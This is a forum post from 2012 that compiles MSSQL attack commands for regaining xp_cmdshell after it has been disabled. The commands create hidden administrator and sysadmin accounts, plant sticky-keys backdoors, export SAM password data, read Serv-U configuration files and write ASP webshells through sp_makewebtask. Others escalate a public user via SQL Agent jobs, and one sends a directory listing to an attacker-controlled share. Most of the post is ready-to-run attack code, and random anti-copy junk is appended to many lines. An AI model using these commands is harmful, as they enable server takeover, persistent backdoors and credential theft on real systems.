找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2219|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号6 V: H9 [: q$ y0 N6 Z$ @
恢复方法:查询分离器连接后," O, l2 A& t8 \. m* a2 M
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 9 d7 j) E2 l0 I$ n7 X
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
% J$ e( f- y  y0 J; h然后按F5键命令执行完毕( }! e' w7 ?9 |
+ A1 k6 z$ Z5 z, N9 n, a6 f
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
' r% b- q6 ]( B; ]恢复方法:查询分离器连接后,
8 I& ^. F: B1 Y. j& Z' B8 G6 J第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"* l3 F7 Y( q" d/ P+ q& @- b
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
1 g8 `6 C9 A( A6 A然后按F5键命令执行完毕
" m6 d: b+ B0 ]
) i% d3 U: M8 i/ w5 B3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)0 A8 P3 j; r' y8 V6 [' y+ H- C7 R
恢复方法:查询分离器连接后,$ e7 g! |+ U0 k5 T
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
0 }5 a3 B$ l! U# ]5 l% V第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
4 Q) @1 {2 v( v$ ^. E6 R* [; `然后按F5键命令执行完毕, G( J) n9 P: H* C8 v' H% k$ _
; v6 r3 y7 e+ s
4 终极方法.
4 V( \9 J) N# }# T9 D如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:9 n% H# z4 |! B5 s. S" t9 E9 K
查询分离器连接后,
( |# ^3 n9 J# _2 Z: K% q" h2000servser系统:/ b4 R& v: N( i3 N8 g' X. Q
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'8 f& {- z2 Y) N4 U) e
  z4 `+ B8 |) E# |* h
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'0 [4 d) t9 x3 {8 H
) b9 b: `2 y/ ?( j. h5 i& h: [
xp或2003server系统:
1 {; }4 F) m* f* r8 G
% P+ z# D  D, hdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
4 p1 e+ a. H! [' s! \
  H# E% ]  z) L8 V+ Y8 |declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'& n9 t' K& ~0 I8 [5 I! M

5 u) K) E- d# p5 S1 ?. Z$ V
( E7 Y* `3 F  |8 O) x, o& n5 i五个SHIFT
. }$ ]* s7 Q5 Y; w; L! bdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
% F9 g( k1 a3 E, h' q3 S+ @. S% M& `0 {
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
) i6 k7 P6 e9 y6 a- s
0 T" r' |3 }1 Y% |9 {0 Ixp_cmdshell执行命令另一种方法
: K7 j0 `, K5 {2 h* d9 jdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
3 J  A& A0 U9 M, W7 l
5 U% D4 R5 G" y8 R# d( {( J) N3 F判断存储扩展是否存在# J# A0 M4 b& v! c
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'! I: ?  @7 y) j, e, Y% ]5 s
返回结果为1就OK4 J% ~+ n( \' H5 B2 c

* y1 Q; ~& d, t- W
2 L5 U6 m2 b. s0 R* e; @$ [上传xplog70.dll恢复xp_cmdshell语句:
) d( ^' Z  x3 n2 J! vsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
3 ?% ]) @6 e8 C4 P
- l$ T, _2 Y2 E否则上传xplog7.0.dll- Z1 C: }8 N, a+ ?* u
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'8 X1 U/ k9 [6 q: e/ o, j

3 g# Q) m, E) y  b& o: X% O
8 }' }1 P( n, J$ b3 h  P5 O+ L' k, X
9 p3 d" K9 ^. X5 F首先开启沙盘模式:
7 k3 c& f) K9 \# ~1 O: n- A3 `exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1* j0 k1 F# f2 k

7 n) D2 \4 }6 ]然后利用jet.oledb执行系统命令& V' B, E0 T5 B% ?! j
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')% l5 W4 P+ T7 H* t) k
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了7 I1 c5 V3 H- {( b
6 B" y5 F2 ?1 q/ I7 `* k/ r8 n, r, g

& J; M& ^% v  `, t, l! l- }; N0 h# |. a9 f* v
恢复过程sp_addextendedproc 如下: ' P! g  x1 Z/ u5 Z* x3 Y4 u
create procedure sp_addextendedproc --- 1996/08/30 20:13 , V0 }% T  F2 i! x
@functname nvarchar(517),/* (owner.)name of function to call */ / o5 c2 ^# u2 i0 ?% o
@dllname varchar(255)/* name of DLL containing function */ 9 Q3 X. m* l/ w& ^, [; b1 q
as
) k5 p% m: b1 U/ m' M0 @set implicit_transactions off
9 P9 Z$ t5 e* s) v( X# }if @@trancount > 0
( b) Z$ s: d" I  {+ E# o, ~% M. bbegin 3 F) [' `4 e9 N
raiserror(15002,-1,-1,'sp_addextendedproc') ( t* |& K: a% c: r9 J6 j
return (1) # P  G( V" t/ D( H; e" @& Q* R
end
. G& A% d- m# u: r0 F4 Cdbcc addextendedproc( @functname, @dllname)
2 J6 ^1 B- n6 _* V2 H& n0 t- rreturn (0) -- sp_addextendedproc : g/ l& J. n, R0 z5 |# E" J. g
GO
# Z3 q8 h; T/ i/ L. L7 ~
* O% H7 I0 ?1 J4 M8 Q5 j4 e% V+ S* O0 f2 ]3 T4 H1 c$ `

6 w& C+ i% ~  _导出管理员密码文件" E0 j% H9 n. T7 w* }9 n# O  ?% @) F
sa默认可以读sam键.应该。
- H* ~, k3 _* f7 \; xreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg0 I1 }" ~! V& M! Z
net user administrator test5 B4 G, @1 L0 v
用administrator登陆.
7 z5 N* h# ?; R, P/ d( a用完机器后
2 ]) q1 W0 U' ?7 a6 D, ~" wreg import c:\test.reg
; q% @6 Z. r9 b根本不用克隆.0 r$ l  b9 |8 p; x1 n
找到对应的sid.
. O# e4 d5 R$ ^' O
" k: L( X: n5 p3 W3 z5 p, j" Y
5 {& k' y2 v9 z$ j0 i
9 q! J* ?+ K" g0 I恢复所有存储过程
8 F" N! ~. ?3 N/ M2 J2 h/ J  T, juse master
) E* W7 l% w' ?- oexec sp_addextendedproc xp_enumgroups,'xplog70.dll' % @+ K3 O; \/ ^+ M/ r# E, ~
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
! z6 k* |$ M+ S3 d. c2 E  X; q) A8 ~exec sp_addextendedproc xp_loginconfig,'xplog70.dll' $ a7 z- }4 f4 ^5 e1 ]. f8 E1 w
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
- E" ^; l  c* {. u+ v! Eexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
. z# h! j2 N0 y0 ?- d9 ?  qexec sp_addextendedproc sp_OACreate,'odsole70.dll'
6 ?. y: \/ |  @0 y. w' d. Rexec sp_addextendedproc sp_OADestroy,'odsole70.dll' ' ]% L. F8 @# r$ a: p4 q& S5 K8 |
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 2 j: T6 j, Y0 F
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' $ ]( u) n. e+ O! |: R% s8 y
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' ! d! x* D3 J. s
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 5 h5 r3 \  j9 H1 _/ O* Z- x  a1 [, d
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
# E4 s- J1 R; A( Bexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 0 Q" G& T, Z  N0 \2 b
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'   p$ P' w" C) m: Y1 j9 W) v( |
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 9 l: s9 D* W/ o
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 9 D6 |" I" E9 e; @
exec sp_addextendedproc xp_regread,'xpstar.dll' ( q! p+ I) {! s+ P* B9 t7 S. t
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 7 v) @$ V( V, t6 ?
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
3 G( f* U7 }6 X/ s+ u0 Z, Q% T( P& ^1 uexec sp_addextendedproc xp_availablemedia,'xpstar.dll'7 h' O/ {) s/ Z" _) j  s( P
6 y' J( W/ U5 X: E2 x, R5 k2 s

. s3 l3 J- Z, n  f. p: {% k4 y建立读文件的存储过程  W: h" s# ^# O% E) g* f$ D/ l
Create proc sp_readTextFile @filename sysname$ p9 E- N) K+ Y6 M! ~
as
, M, X$ R0 J0 y2 w1 R9 t1 Z+ f9 e
9 n! i+ B5 G3 V" w* }. B6 o    begin
3 h- V6 ^+ i' s. M# H% |5 i    set nocount on   S: x( [$ e3 C; N. ~6 u/ A. k
    Create table #tempfile (line varchar(8000))% i3 m/ F7 M% J6 W% O
    exec ('bulk insert #tempfile from "' + @filename + '"')1 Y! L6 t& }3 ~, ?+ q) C
    select * from #tempfile5 W" y8 m' c+ C, D
    drop table #tempfile
7 W) a$ {5 o) M( aEnd6 |8 N$ x+ I9 p5 U: ?; S4 {6 S

! }; H; E& e6 q0 i0 Aexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件9 k% ?3 [: I9 l+ H/ n
查看登录用户
" S' @2 E/ }& w, }- r/ ~" ^Select * from sysxlogins: v8 K0 D$ _% i( z! h

, j# A# o' @4 P$ g/ j把文件内容读取到表中& z! L4 ^, E: k; f& l
BULK INSERT tmp from "c:\test.txt"4 Z8 Z; C* t9 w1 ~$ _. q- [
dElete from 表名 清理表里的内容5 i1 _* _8 A! R" }% w; n$ x
create table b_test(fn nvarchar(4000));建一个表,字段为fn9 g- V* X/ A: \, v9 G

/ A' ^# l! }  W) Q( r/ |" ~3 V/ V/ j# F! g3 p+ M
加sa用户
0 [+ d5 E1 ^; m  M. h4 s" h) }exec master.dbo.sp_addlogin user,pass;6 d+ e* Q& J. e9 {; }
exec master.dbo.sp_addsrvrolemember user,sysadmin6 p$ {& G7 Q8 J& g
2 Y7 W5 b' q' M( n2 w
& L$ W6 S: t0 b- E7 u4 f
4 O7 K% K& E  X9 o. G* L/ q9 v7 s, ^
读文件代码- r3 z) a6 q3 M! y! N! I  ]
declare @o int, @f int, @t int, @ret int
1 L7 u% h6 h' U4 _; y* edeclare @line varchar(8000)4 a  `1 m  l% S3 y
exec sp_oacreate 'scripting.filesystemobject', @o out* h1 u/ l1 S9 `7 h
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
- C- G, k  h8 ^7 h$ texec @ret = sp_oamethod @f, 'readline', @line out0 K: j5 b- T1 S, z- p1 F
while( @ret = 0 )) R6 o5 g; ~- I
begin
( Q4 A. K* \+ o/ q) yprint @line. [! v' S/ R  q4 t! _
exec @ret = sp_oamethod @f, 'readline', @line out
9 s' M* F/ b/ }, g; p& J/ Hend
6 k# ^  w. L3 z( B
+ s# Q1 M5 v2 I1 v# v, r7 }
$ ]. j6 ~9 U! @/ j2 v" g写文件代码:( ]# z* c6 a# v
declare @o int, @f int, @t int, @ret int
' g6 S! v# ]9 k* J8 `exec sp_oacreate 'scripting.filesystemobject', @o out
/ j$ _+ Z$ M! [. O- kexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
5 _. @# C4 j1 p0 r& i& \exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
6 l9 l3 ?& I/ A. b7 h0 [9 H9 P  \8 f1 V

4 V! O+ @9 [6 P* |0 \添加lake2 shell2 ^( W1 T  x+ |2 h4 Z: \# ]
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'( N1 j+ A1 C9 Y8 ^( T( i+ m. m, R
sp_dropextendedproc xp_lake2( K/ x1 a& e  Z1 z7 a! p# w$ L
EXEC xp_lake2 'net user'# Q* f( h4 A3 I+ q
  z/ [( J8 o, l) M* E
; _1 g# y4 F9 }  d+ x; d/ ?
得到硬盘文件信息
5 d0 I7 o: m! c5 y' \4 R5 g9 v--参数说明:目录名,目录深度,是否显示文件 : q2 M/ d4 w; ^% [
execute master..xp_dirtree 'c:' % }* B! k* X+ v, \. S+ S
execute master..xp_dirtree 'c:',1 2 @% e+ U) \. z" Y+ ~7 H( N
execute master..xp_dirtree 'c:',1,1
" L) A& `0 x, {
4 }. U# @- F* O% S7 a/ ~9 m( k9 l/ J% p6 n2 B7 x* T& o
读serv-u配置信息4 b. J1 m$ B7 U: U1 i9 \
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'' A" v- p7 y2 f6 i8 M4 X
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
% A" U/ q. a0 q4 R) e8 `! u2 W# \  B) ?7 K! {
通过xp_regwrite写SHIFT后门+ P$ w1 V( M' Y
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--$ o$ e; m0 w! }- }

$ ?. o' a4 X2 B" v. j% Y) `7 D, O1 P! c

2 Z6 h5 b; j) T2 Q- g找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
5 d+ g% ~9 c) E  v$ y/ Nexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了) b, n( _6 T9 x) Z6 G

& P& D+ V/ h5 k3 v. }0 d! h2 O; X" eEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
5 m4 i$ T" x! Z: _9 ?7 C  J% E& l5 Q9 P# @: c: m; M

" r+ @% q7 @; o6 F, s+ K! A$ U1 p9 y6 D
sql server 2005下开启xp_cmdshell的办法6 v) M# `8 E( ]8 S1 m

3 F- N- w! v. q& wEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;4 d2 b  t8 k. G6 }0 r$ K3 W

2 e. w; F8 }! R2 z' c9 n1 KSQL2005开启'OPENROWSET'支持的方法:
0 ^9 o. ]' ^( b+ |  N" b2 B
4 A8 ?- T" ?; Z# O2 H) o& }exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
1 d' v5 c+ f# w8 R% ]) c2 G$ x. [/ b- B
SQL2005开启'sp_oacreate'支持的方法:
/ G! u1 f/ |2 X) p2 {8 f) `8 V! T2 y  T& w' y
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;  h9 j) [6 Z2 ]$ v8 ^
# x, ?0 {# E- l1 G' H: r; p
' y' z6 P! `( B, B' f# H* j
% Y% |! c7 z2 i6 T* \1 g
/ x' e4 I" m2 g$ f

0 J  j- N* g! ]) L0 H1 R# ~" m( Y$ {5 ]* c1 e/ ]
$ k, E. i' K3 `5 _

7 t0 J- B) D; Y1 @0 m) i+ R7 z2 t! ^( `; M9 t# F/ u% g; ?
5 P$ }7 }' b6 e; _) }3 r2 X

1 R( n* _) t% T! p6 R' B% r7 w; A/ g, O) f

, Q* a' ~/ K7 s0 o# j  R* J  i8 e7 v
% ?, w" Y/ V1 N. b" v1 v  r
  C3 u: x6 ~. w# ?6 `( n- d6 q
' B! c1 p7 t$ _! P& S) t  G* g
6 m4 F  O" m& s6 ^( C  n
& X1 i/ ?% b3 r1 W: l! U
0 C) C5 r: N6 w# o- k2 u# {
, K0 ^, t- A6 m7 L" D8 M: ]9 E1 T/ |# c
  ~2 O- I3 P8 x# @$ A/ m9 c

: B) S" q6 P  ]8 I, b% z7 w6 D$ x2 m
以下方面不知道能不能成功暂且留下研究哈:6 j! i- Q& ?- K. H) J
4)  _$ G& h1 o* q& L0 l
use msdb; --这儿不要是master哟1 j9 k4 C$ W, V: K- m
exec sp_add_job @job_name= czy82 ;
1 C+ p5 j# B) [exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
, e. `  C5 t! B- Y. B2 rexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;" r3 U% r. z. A! t* ?" t1 ^
exec sp_start_job @job_name= czy82 ;' S! h$ N+ K4 G; C3 R1 C9 u

$ m% E. V, ~) T9 ~" U: ^9 u: _利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以* E6 ?  z- n  Q. ~: Q
执行tsql语句了.- U8 I" V, F. G; |' v0 g: y( Z1 i
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
  t; m/ F: D2 d1 {/ a第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)6 b8 \  I$ J4 f+ i; J+ e
net start SQLSERVERAGENT' {) y+ }4 F; j- f
) A! x  y* N/ j7 @$ P/ z
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
0 ?  {) s& P) p* ^6 }, K( h* a( DUSE msdb
( v7 m: a7 D& _$ {EXEC sp_add_job @job_name = GetSystemOnSQL ,
; w. n, Z) f8 a. i, K8 W% s@enabled = 1,
- |: E  L1 I6 m* [@description = This will give a low privileged user access to
9 A' M" X3 A3 k5 N1 t* \6 \; oxp_cmdshell ,
6 `. n1 \% Q. S" s/ s+ X$ g5 d$ U@delete_level = 16 H: H+ `. d& i4 F3 ]2 Y' b
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
7 ~( W9 E* J+ \@step_name = Exec my sql ,
; }" Y, _0 Z( |# F" |2 W@subsystem = TSQL ,
' M  Q! L( D6 v4 U( M@command = exec master..xp_execresultset N select exec
, U, F* t/ W' n$ m! lmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
8 j9 Z5 T3 f5 @2 @4 ?4 Q( KEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
3 d5 g! f" q) k/ _- n' u  u@server_name = 你的SQL的服务器名
* k/ s# K0 b  P/ u; K9 zEXEC sp_start_job @job_name = GetSystemOnSQL
# j/ s3 }+ E7 B6 [
: C8 Y! g& ?& j  H  S6 G  x不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以5 L3 z* i4 u$ Y- `; W
才让我们可以以public执行xp_cmdshell7 G$ L0 B) X- f4 f) w

0 T& J" J' o5 ?5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以); k- ?8 H8 G9 F  I6 i+ V8 b2 R3 X
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=29687 n- S2 |) N3 h8 F
; e0 T" B6 p  Z; o
USE msdb
- D! P2 N4 x" `3 E4 }* _EXEC sp_add_job @job_name = ArbitraryFilecreate ,
/ o/ _. K$ ?+ O8 Q. D@enabled = 1,
- I% k! v) m7 M1 D7 E@description = This will create a file called c:\sqlafc123.txt ," ]7 |7 p- ?1 n, o: f/ Q
@delete_level = 1
5 I' L" r) W1 LEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,, j; f  ?- V9 r  z4 o
@step_name = SQLAFC ,* z3 E8 X! f3 ]% E( b- S7 R* F( j
@subsystem = TSQL ,/ G6 M9 d$ [* K2 ^8 o) l3 \
@command = select hello, this file was created by the SQL Agent. ,
) y3 B. B( r! A@output_file_name = c:\sqlafc123.txt 1 q6 `6 X( I! F
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ," q, H7 U  a+ k8 e& J+ G
@server_name = SERVER_NAME $ h" C; S8 h5 O: y
EXEC sp_start_job @job_name = ArbitraryFilecreate
6 b' T; L! P% B" L4 d% i) y9 [9 Q& @
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
# m( [0 [7 a8 Y8 ?. ^8 p
, E: _* |* E, p??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
* L* J) w6 x8 {' D----------------------------------------------
' a" ]7 Y  ^- J9 ~  Jhello, this file was created by the SQL Agent.
: j4 M4 {4 z" M
# n* t* @; O$ Y8 S' ^9 N+ l(1 ?????)9 I5 ?! o1 l6 l2 d& p# t5 K
  D+ W9 s, g1 P
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
2 C; l, N( |' F- s命令的vbs文件到启动目录!4 e6 I& z5 u# X0 o
+ T7 D7 D) b. e$ T$ g) G* ^
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
  d4 e5 q* r; V1 ]% b; A% W' ]' j2 R关于sp_MScopyscriptfile 看下面的例子/ P/ T5 y6 S4 @" W
declare @command varchar(100)
) n9 w) s, ~$ Y' ideclare @scripfile varchar(200)
6 G9 \8 b9 t9 _' O. h7 Sset concat_null_yields_null off ! G0 {( d, E* b5 N) I
select @command= dir c:\ > "\\attackerip\share\dir.txt" 3 p, h+ j6 @( _. e- l/ a! }$ `
select @scripfile= c:\autoexec.bat > nul" | @command | rd " 8 M% I6 U7 s2 k
exec sp_MScopyscriptfile @scripfile , + m4 [( P2 c/ {

: M2 F! M8 A3 ^9 o4 u9 k2 H8 \; Q这两个东东都还在测试试哟
7 I' K# B' X0 ]" @0 W/ Q) M6 R5 S- }让MSSQL的public用户得到一个本机的web shell( \- }* p1 o* C/ j1 s

* {$ W. ]$ x7 b5 E# gsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,/ s* t2 t* V* e; s! R  `
--@query= select <img src=vbscript:msgbox(now())>
8 p) M# P8 k+ C* B0 X$ M3 ^--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
4 t+ @- R7 V% p; W@query= select 1 D' c7 F/ ^( g0 E% a5 B
<%On Error Resume Next ' G; }2 u) \# V3 d4 o. X4 g% u
Set oscript = Server.createObject("wscript.SHELL")
% R$ F- ^. Q0 C2 Z5 |8 B/ YSet oscriptNet = Server.createObject("wscript.NETWORK") 1 I; l8 Z$ h' v; @
Set oFileSys = Server.createObject("scripting.FileSystemObject") 9 z* C* s+ h; x( b
szCMD = Request.Form(".CMD")
! i6 H. h1 w! G2 a: e% NIf (szCMD <>"")Then ! v6 _; M4 o! z! P
szTempFile = "C:\" & oFileSys.GetTempName() 2 H/ ]9 K+ S% f' e& J% V: O
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) ) Z/ `8 y2 r( W2 }) X0 U
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) ) A) a6 A1 V4 o
End If %> : R$ k3 u0 q5 X, |: b
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
( Y3 }6 U, \3 N& |8 a<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
; s" V3 ^+ ~' d: C; X+ [</FORM><RE>
8 b2 k0 y# w# \( T; D4 J<% If (IsObject(oFile))Then
! H( Y! b0 ~  F3 g& p+ \, TOn Error Resume Next - I0 P/ k$ q. H9 a8 b! h9 P
Response.Write Server.HTMLEncode(oFile.ReadAll)
8 F0 T3 t) f. w& poFile.Close
- R1 H$ i6 D- J& j0 ]6 Q9 yCall oFileSys.deleteFile(szTempFile, True)
( l' b$ B: L, j% ^" d/ ZEnd If%>
$ u$ t# S6 z6 b+ }( J0 p</BODY></HTML>
) W+ J0 S, y! i4 l, E% C4 u0 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表